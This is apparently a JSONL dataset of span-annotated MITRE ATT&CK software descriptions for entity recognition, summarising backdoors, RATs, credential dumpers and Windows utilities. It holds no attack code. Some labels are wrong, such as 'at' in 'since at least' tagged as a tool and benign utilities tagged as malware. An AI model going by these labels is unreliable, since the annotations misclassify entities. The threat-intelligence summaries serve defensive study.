{"text": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.", "spans": {"MALWARE: Mivast": [[0, 6]], "THREAT_ACTOR: Deep Panda": [[43, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0080"}}
{"text": "HiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.", "spans": {"MALWARE: HiddenWasp": [[0, 10]], "SYSTEM: Linux": [[16, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0394"}}
{"text": "WarzoneRAT is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.", "spans": {"MALWARE: WarzoneRAT": [[0, 10]], "TOOL: at": [[129, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0670"}}
{"text": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.", "spans": {"TOOL: Net Crawler": [[0, 11], [227, 238]], "SYSTEM: SMB": [[134, 137]], "TOOL: PsExec": [[199, 205]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0056"}}
{"text": "SLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017. It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.  \n\nIn October 2020, Kaspersky Labs assessed SLOTHFULMEDIA is part of an activity cluster it refers to as \"IAmTheKing\". ESET also noted code similarity between SLOTHFULMEDIA and droppers used by a group it refers to as \"PowerPool\".", "spans": {"MALWARE: SLOTHFULMEDIA": [[0, 13], [384, 397], [499, 512]], "TOOL: at": [[127, 129]], "ORGANIZATION: Kaspersky": [[360, 369]], "ORGANIZATION: ESET": [[459, 463]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0533"}}
{"text": "FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website.", "spans": {"MALWARE: FALLCHILL": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[41, 54], [175, 188]], "TOOL: at": [[61, 63]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0181"}}
{"text": "XORIndex Loader is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware.  XORIndex Loader was first reported in June 2025.  XORIndex Loader has been leveraged by North Korea-affiliated threat actors identified as Contagious Interview.  XORIndex Loader has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.", "spans": {"MALWARE: XORIndex Loader": [[0, 15], [145, 160], [195, 210], [307, 322]], "MALWARE: BeaverTail": [[124, 134]], "THREAT_ACTOR: Contagious Interview": [[284, 304]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1248"}}
{"text": "Small Sieve is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by MuddyWater since at least January 2022.\n\nSecurity researchers have also noted Small Sieve's use by UNC3313, which may be associated with MuddyWater.", "spans": {"MALWARE: Small Sieve": [[0, 11], [241, 252]], "SYSTEM: Telegram": [[17, 25]], "SYSTEM: API": [[30, 33]], "SYSTEM: Python": [[40, 46]], "THREAT_ACTOR: MuddyWater": [[163, 173], [300, 310]], "TOOL: at": [[180, 182]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1035"}}
{"text": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.", "spans": {"MALWARE: Flame": [[0, 5]], "TOOL: at": [[81, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0143"}}
{"text": "HermeticWizard is a worm that has been used to spread HermeticWiper in attacks against organizations in Ukraine since at least 2022.", "spans": {"MALWARE: HermeticWizard": [[0, 14]], "MALWARE: HermeticWiper": [[54, 67]], "TOOL: at": [[118, 120]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0698"}}
{"text": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. \n\nNet has a great deal of functionality,  much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through SMB/Windows Admin Shares using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.", "spans": {"TOOL: Net": [[4, 7], [169, 172]], "SYSTEM: Windows": [[38, 45], [344, 351]], "SYSTEM: SMB": [[340, 343]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0039"}}
{"text": "RemoteUtilities is a legitimate remote administration tool that has been used by MuddyWater since at least 2021 for execution on target machines.", "spans": {"MALWARE: RemoteUtilities": [[0, 15]], "THREAT_ACTOR: MuddyWater": [[81, 91]], "TOOL: at": [[98, 100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0592"}}
{"text": "Covenant is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as HAFNIUM during operations. Covenant functions through a central listener managing multiple deployed \"Grunts\" that communicate back to the controller.", "spans": {"MALWARE: Covenant": [[0, 8], [218, 226]], "SYSTEM: .NET": [[70, 74]], "THREAT_ACTOR: HAFNIUM": [[191, 198]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1155"}}
{"text": "NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.", "spans": {"SYSTEM: Windows": [[120, 127]], "SYSTEM: API": [[164, 167]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1131"}}
{"text": "BloodHound is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.", "spans": {"TOOL: BloodHound": [[0, 10]], "SYSTEM: Active Directory": [[17, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0521"}}
{"text": "certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.", "spans": {"TOOL: certutil": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0160"}}
{"text": "at is used to schedule tasks on a system to run at a specified date or time.", "spans": {"TOOL: at": [[0, 2], [48, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0110"}}
{"text": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.", "spans": {"MALWARE: UACMe": [[0, 5]], "SYSTEM: Windows": [[81, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0116"}}
{"text": "ShimRatReporter is a tool used by suspected Chinese adversary Mofang to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as ShimRat) as well as set up faux infrastructure which mimics the adversary's targets. ShimRatReporter has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.", "spans": {"MALWARE: ShimRatReporter": [[0, 15], [280, 295]], "THREAT_ACTOR: Mofang": [[62, 68]], "MALWARE: ShimRat": [[195, 202]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0445"}}
{"text": "Sliver is an open source, cross-platform, red team command and control (C2) framework written in Golang. Sliver includes its own package manager, \"armory,\" for staging and downloading additional tools and payloads to the primary C2 framework.", "spans": {"MALWARE: Sliver": [[0, 6], [105, 111]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0633"}}
{"text": "SILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.", "spans": {"MALWARE: SILENTTRINITY": [[0, 13], [171, 184]], "SYSTEM: Python": [[107, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0692"}}
{"text": "PowerSploit is an open source, offensive security framework comprised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration.", "spans": {"TOOL: PowerSploit": [[0, 11]], "TOOL: PowerShell": [[73, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0194"}}
{"text": "Pacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.", "spans": {"SYSTEM: AWS": [[23, 26]], "SYSTEM: Python": [[74, 80]], "SYSTEM: GitHub": [[107, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1091"}}
{"text": "Windows Credential Editor is a password dumping tool.", "spans": {"TOOL: Windows Credential Editor": [[0, 25]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0005"}}
{"text": "Impacket is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. Impacket contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.", "spans": {"TOOL: Impacket": [[0, 8], [137, 145]], "SYSTEM: Python": [[60, 66]], "SYSTEM: Kerberos": [[199, 207]], "SYSTEM: Windows": [[222, 229]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0357"}}
{"text": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.", "spans": {"TOOL: ipconfig": [[0, 8]], "SYSTEM: Windows": [[14, 21]], "SYSTEM: DNS": [[92, 95]], "SYSTEM: DHCP": [[97, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0100"}}
{"text": "AADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.", "spans": {"MALWARE: AADInternals": [[0, 12]], "TOOL: PowerShell": [[18, 28]], "SYSTEM: Azure Active Directory": [[92, 114]], "SYSTEM: GitHub": [[150, 156]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0677"}}
{"text": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.", "spans": {"TOOL: Tasklist": [[4, 12]], "SYSTEM: Windows": [[177, 184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0057"}}
{"text": "ngrok is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. ngrok has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.", "spans": {"TOOL: ngrok": [[0, 5], [160, 165]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0508"}}
{"text": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.", "spans": {"MALWARE: Lslsass": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0121"}}
{"text": "Arp displays and modifies information about a system's Address Resolution Protocol (ARP) cache.", "spans": {"MALWARE: Arp": [[0, 3]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0099"}}
{"text": "spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET.", "spans": {"MALWARE: spwebmember": [[0, 11]], "ORGANIZATION: Microsoft": [[17, 26]], "SYSTEM: SharePoint": [[27, 37]], "SYSTEM: .NET": [[83, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0227"}}
{"text": "Empire is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure PowerShell for Windows and Python for Linux/macOS. Empire was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.", "spans": {"TOOL: Empire": [[0, 6], [287, 293]], "SYSTEM: GitHub": [[125, 131]], "SYSTEM: Python": [[179, 185], [263, 269]], "TOOL: PowerShell": [[236, 246]], "SYSTEM: Windows": [[251, 258]], "SYSTEM: Linux": [[274, 279]], "SYSTEM: macOS": [[280, 285]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0363"}}
{"text": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.", "spans": {"TOOL: ifconfig": [[0, 8]], "SYSTEM: Unix": [[14, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0101"}}
{"text": "FRP, which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. FRP can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.", "spans": {"MALWARE: FRP": [[0, 3], [187, 190]], "SYSTEM: HTTP": [[246, 250]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1144"}}
{"text": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.  It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.", "spans": {"TOOL: dsquery": [[0, 7]], "SYSTEM: Active Directory": [[60, 76]], "SYSTEM: Windows Server": [[159, 173]], "ORGANIZATION: Microsoft": [[239, 248]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0105"}}
{"text": "PcShare is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.", "spans": {"MALWARE: PcShare": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1050"}}
{"text": "RawDisk is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.", "spans": {"MALWARE: RawDisk": [[0, 7]], "SYSTEM: Windows": [[320, 327]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0364"}}
{"text": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.", "spans": {"TOOL: netstat": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0104"}}
{"text": "PoshC2 is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in PowerShell. Although PoshC2 is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.", "spans": {"MALWARE: PoshC2": [[0, 6], [244, 250]], "SYSTEM: GitHub": [[109, 115]], "SYSTEM: Python": [[181, 187], [321, 327]], "TOOL: PowerShell": [[223, 233]], "SYSTEM: Windows": [[275, 282]], "SYSTEM: Linux": [[340, 345]], "SYSTEM: macOS": [[346, 351]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0378"}}
{"text": "Fgdump is a Windows password hash dumper.", "spans": {"MALWARE: Fgdump": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0120"}}
{"text": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.", "spans": {"MALWARE: xCmd": [[0, 4]], "TOOL: PsExec": [[47, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0123"}}
{"text": "CSPY Downloader is a tool designed to evade analysis and download additional payloads used by Kimsuky.", "spans": {"MALWARE: CSPY Downloader": [[0, 15]], "THREAT_ACTOR: Kimsuky": [[94, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0527"}}
{"text": "Rclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.", "spans": {"MALWARE: Rclone": [[0, 6], [131, 137]], "SYSTEM: Dropbox": [[87, 94]], "SYSTEM: Google Drive": [[96, 108]], "ORGANIZATION: Amazon": [[110, 116]], "SYSTEM: S3": [[117, 119]], "MALWARE: Conti": [[225, 230]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1040"}}
{"text": "MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms.", "spans": {"MALWARE: MimiPenguin": [[0, 11]], "TOOL: Mimikatz": [[47, 55]], "SYSTEM: Linux": [[83, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0179"}}
{"text": "netsh is a scripting utility used to interact with networking components on local or remote systems.", "spans": {"TOOL: netsh": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0108"}}
{"text": "CARROTBALL is an FTP downloader utility that has been in use since at least 2019. CARROTBALL has been used as a downloader to install SYSCON.", "spans": {"MALWARE: CARROTBALL": [[0, 10], [82, 92]], "TOOL: FTP": [[17, 20]], "TOOL: at": [[67, 69]], "MALWARE: SYSCON": [[134, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0465"}}
{"text": "BITSAdmin is a command line tool used to create and manage BITS Jobs.", "spans": {"MALWARE: BITSAdmin": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0190"}}
{"text": "meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.", "spans": {"MALWARE: meek": [[0, 4]], "TOOL: Tor": [[23, 26], [47, 50]], "SYSTEM: HTTPS": [[67, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0175"}}
{"text": "AsyncRAT is an open-source remote access tool originally available through the NYANxCAT Github repository that has been used in malicious campaigns.", "spans": {"MALWARE: AsyncRAT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1087"}}
{"text": "ROADTools is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.", "spans": {"MALWARE: ROADTools": [[0, 9]], "SYSTEM: Azure Active Directory": [[41, 63]], "SYSTEM: Python": [[101, 107]], "SYSTEM: GitHub": [[134, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0684"}}
{"text": "Brute Ratel C4 is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. Brute Ratel C4 was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.", "spans": {"MALWARE: Brute Ratel C4": [[0, 14], [120, 134], [427, 441]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1063"}}
{"text": "Peirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.", "spans": {"MALWARE: Peirates": [[0, 8]], "SYSTEM: Kubernetes": [[32, 42]], "SYSTEM: GitHub": [[218, 224]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0683"}}
{"text": "Remcos is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. Remcos has been observed being used in malware campaigns.", "spans": {"MALWARE: Remcos": [[0, 6], [133, 139]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0332"}}
{"text": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.", "spans": {"MALWARE: Systeminfo": [[0, 10]], "SYSTEM: Windows": [[16, 23]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0096"}}
{"text": "Out1 is a remote access tool written in python and used by MuddyWater since at least 2021.", "spans": {"MALWARE: Out1": [[0, 4]], "THREAT_ACTOR: MuddyWater": [[59, 69]], "TOOL: at": [[76, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0594"}}
{"text": "ConnectWise is a legitimate remote administration tool that has been used since at least 2016 by threat actors including MuddyWater and GOLD SOUTHFIELD to connect to and conduct lateral movement in target environments.", "spans": {"MALWARE: ConnectWise": [[0, 11]], "TOOL: at": [[80, 82]], "THREAT_ACTOR: MuddyWater": [[121, 131]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[136, 151]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0591"}}
{"text": "attrib is a Windows utility used to display, set or remove attributes assigned to files or directories.", "spans": {"MALWARE: attrib": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1176"}}
{"text": "Imminent Monitor was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.", "spans": {"MALWARE: Imminent Monitor": [[0, 16], [146, 162]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0434"}}
{"text": "Ruler is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of Ruler have also released a defensive tool, NotRuler, to detect its usage.", "spans": {"MALWARE: Ruler": [[0, 5], [152, 157]], "ORGANIZATION: Microsoft": [[25, 34]], "SYSTEM: Exchange": [[35, 43]], "SYSTEM: GitHub": [[82, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0358"}}
{"text": "Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts.", "spans": {"MALWARE: Forfiles": [[0, 8], [220, 228]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0193"}}
{"text": "Winexe is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers.  Winexe is unique in that it is a GNU/Linux based client.", "spans": {"MALWARE: Winexe": [[0, 6], [140, 146]], "TOOL: PsExec": [[53, 59]], "SYSTEM: Linux": [[177, 182]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0191"}}
{"text": "MCMD is a remote access tool that provides remote command shell capability used by Dragonfly 2.0.", "spans": {"MALWARE: MCMD": [[0, 4]], "THREAT_ACTOR: Dragonfly 2.0": [[83, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0500"}}
{"text": "Nltest is a Windows command-line utility used to list domain controllers and enumerate domain trusts.", "spans": {"TOOL: Nltest": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0359"}}
{"text": "MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.", "spans": {"ORGANIZATION: Microsoft": [[74, 83]], "SYSTEM: Exchange": [[84, 92], [272, 280]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0413"}}
{"text": "sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws.", "spans": {"TOOL: sqlmap": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0225"}}
{"text": "pwdump is a credential dumper.", "spans": {"TOOL: pwdump": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0006"}}
{"text": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.", "spans": {"TOOL: Responder": [[0, 9]], "SYSTEM: HTTP": [[90, 94], [209, 213]], "SYSTEM: SMB": [[95, 98]], "TOOL: FTP": [[105, 108]], "SYSTEM: LDAP": [[109, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0174"}}
{"text": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems.", "spans": {"MALWARE: Pass-The-Hash Toolkit": [[0, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0122"}}
{"text": "Donut is an open source framework used to generate position-independent shellcode. Donut generated code has been used by multiple threat actors to inject and load malicious payloads into memory.", "spans": {"MALWARE: Donut": [[0, 5], [83, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0695"}}
{"text": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.", "spans": {"TOOL: Mimikatz": [[0, 8]], "SYSTEM: Windows": [[63, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0002"}}
{"text": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.", "spans": {"TOOL: gsecdump": [[0, 8]], "SYSTEM: Windows": [[103, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0008"}}
{"text": "IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.", "spans": {"MALWARE: IronNetInjector": [[0, 15]], "THREAT_ACTOR: Turla": [[21, 26]], "SYSTEM: Python": [[109, 115]], "SYSTEM: .NET": [[123, 127]], "MALWARE: ComRAT": [[176, 182]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0581"}}
{"text": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.", "spans": {"MALWARE: nbtstat": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0102"}}
{"text": "Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords.", "spans": {"MALWARE: Invoke-PSImage": [[0, 14]], "TOOL: PowerShell": [[23, 33], [217, 227], [402, 412]], "TOOL: Mimikatz": [[249, 257]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0231"}}
{"text": "NBTscan is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.", "spans": {"TOOL: NBTscan": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0590"}}
{"text": "LaZagne is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. LaZagne is publicly available on GitHub.", "spans": {"TOOL: LaZagne": [[0, 7], [181, 188]], "SYSTEM: Windows": [[114, 121], [164, 171]], "SYSTEM: Linux": [[123, 128]], "SYSTEM: GitHub": [[214, 220]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0349"}}
{"text": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.", "spans": {"TOOL: Ping": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0097"}}
{"text": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. \n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> ), deleting files (e.g., <code>del</code> ), and copying files (e.g., <code>copy</code> ).", "spans": {"TOOL: cmd": [[0, 3]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0106"}}
{"text": "route can be used to find or change information within the local system IP routing table.", "spans": {"TOOL: route": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0103"}}
{"text": "esentutl is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.", "spans": {"MALWARE: esentutl": [[0, 8]], "SYSTEM: Windows": [[73, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0404"}}
{"text": "CrackMapExec, or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. CrackMapExec collects Active Directory information to conduct lateral movement through targeted networks.", "spans": {"TOOL: CrackMapExec": [[0, 12], [125, 137]], "SYSTEM: Python": [[63, 69]], "SYSTEM: Active Directory": [[147, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0488"}}
{"text": "Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. Koadic has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.", "spans": {"TOOL: Koadic": [[0, 6], [115, 121]], "SYSTEM: Windows": [[12, 19], [228, 235]], "SYSTEM: GitHub": [[107, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0250"}}
{"text": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.", "spans": {"TOOL: schtasks": [[0, 8]], "SYSTEM: Windows": [[67, 74]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0111"}}
{"text": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.", "spans": {"MALWARE: Cachedump": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0119"}}
{"text": "Expand is a Windows utility used to expand one or more compressed CAB files. It has been used by BBSRAT to decompress a CAB file into executable content.", "spans": {"MALWARE: Expand": [[0, 6]], "SYSTEM: Windows": [[12, 19]], "MALWARE: BBSRAT": [[97, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0361"}}
{"text": "Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool.  It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.).  Pupy is publicly available on GitHub.", "spans": {"TOOL: Pupy": [[0, 4], [296, 300]], "SYSTEM: Windows": [[40, 47], [206, 213]], "SYSTEM: Linux": [[49, 54], [258, 263]], "SYSTEM: Android": [[61, 68]], "SYSTEM: Python": [[138, 144], [219, 225]], "TOOL: PowerShell": [[232, 242]], "SYSTEM: GitHub": [[326, 332]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0192"}}
{"text": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. \n\nUtilities such as Reg are known to be used by persistent threats.", "spans": {"TOOL: Reg": [[0, 3], [181, 184]], "SYSTEM: Windows": [[9, 16]], "SYSTEM: Windows Registry": [[51, 67]], "TOOL: at": [[84, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0075"}}
{"text": "ftp is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.", "spans": {"MALWARE: ftp": [[0, 3]], "TOOL: FTP": [[116, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0095"}}
